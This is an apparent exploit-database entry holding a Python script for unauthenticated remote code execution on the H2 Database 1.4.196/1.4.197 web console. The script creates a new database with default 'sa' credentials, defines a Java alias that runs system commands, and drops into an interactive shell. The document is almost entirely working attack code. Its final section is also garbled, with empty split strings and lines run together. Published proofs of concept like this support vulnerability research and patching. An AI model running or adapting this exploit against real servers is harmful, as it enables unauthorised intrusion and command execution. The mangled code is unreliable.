H2 Database 1.4.196 - Remote Code Execution

h4ckNinja 2018-10-01 webapps java
# Exploit Title: H2 Database 1.4.196 - Remote Code Execution
# Google Dork: N/A
# Date: 2018-09-24
# Exploit Author: h4ckNinja
# Vendor Homepage: https://www.h2database.com/
# Software Link: http://www.h2database.com/h2-2018-03-18.zip
# Version: 1.4.196 and 1.4.197
# Tested on: macOS/Linux
# CVE: N/A

# This takes advantage of the CREATE ALIAS RCE (https://www.exploit-db.com/exploits/44422/). 
# When the test database has a password that is unknown, it is still possible to get the execution 
# by creating a new database. The web console allows this by entering the name of the new database 
# in the connection string. When the new database is created, the default credentials of 
# username “sa” and password “” (blank) are created. The attacker is logged in automatically. 
# The attached Python code, modified from 44422, demonstrates this.

#!/usr/bin/env python

'''
Exploit Title: Unauthenticated RCE
Date: 2018/09/24
Exploit Author: h4ckNinja
Vendor: http://www.h2database.com/
Version: all versions
Tested on: Linux, Mac
Description: Building on the Alias RCE, there's an authentication bypass to create a database, and then login to that one.
Modified from: https://www.exploit-db.com/exploits/44422/
'''

import random
import string
import sys
import argparse
import html
import requests


def getSession(host):
	url = 'http://{}'.format(host)
	r = requests.get(url)
	path = r.text.split('href = ')[1].split(';')[0].replace("'","").replace('.jsp', '.do')

	return '{}/{}'.format(url, path)

def login(url, database):
	data = {
		'language': 'en',
		'setting': 'Generic H2 (Embedded)',
		'name': 'Generic H2 (Embedded)',
		'driver': 'org.h2.Driver',
		'url': database,
		'user': 'sa',
		'password': ''
	}

	print('[*] Attempting to create database')
	r = requests.post(url, data=data)

	if 'Login' in r.text:
		return False

	print('[+] Created database and logged in')

	return True

def prepare(url):
	cmd = '''CREATE ALIAS EXECVE AS $$ String execve(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";  }$$;'''
	url = url.replace('login', 'query')

	print('[*] Sending stage 1')

	r = requests.post(url, data={'sql': cmd})

	if not 'NullPointerException' in r.text:
		print('[+] Shell succeeded - ^c or quit to exit')
		return url

	return False

def execve(url, cmd):
	r = requests.post(url, data={'sql':"CALL EXECVE('{}')".format(cmd)})

	try:
		execHTML = html.unescape(r.text.split('')[1].split('')[0].replace('
','\n').replace(' ',' ')).encode('utf-8').decode('utf-8','ignore') print(execHTML) except Exception as e: print('[-] Invalid command (' + str(e) + ')') if __name__ == "__main__": parser = argparse.ArgumentParser() randString = ''.join(random.choices(string.ascii_letters + string.digits, k=5)) parser.add_argument('-H', '--host', dest='host', metavar='127.0.0.1:8082', help='Specify a host', required=True) parser.add_argument('-d', '--database-url', dest='database', metavar='jdbc:h2:~/emptydb-' + randString, default='jdbc:h2:~/emptydb-' + randString, help='Database URL', required=False) args = parser.parse_args() url = getSession(args.host) if login(url, args.database): success = prepare(url) if success: while True: try: cmd = input('h2-shell$ ') if 'quit' not in cmd: execve(success, cmd) else: print('[+] Shutting down') sys.exit(0) except KeyboardInterrupt: print() print('[+] Shutting down') sys.exit(0) else: print('[-] Something went wrong injecting the payload.') else: print('[-] Unable to login')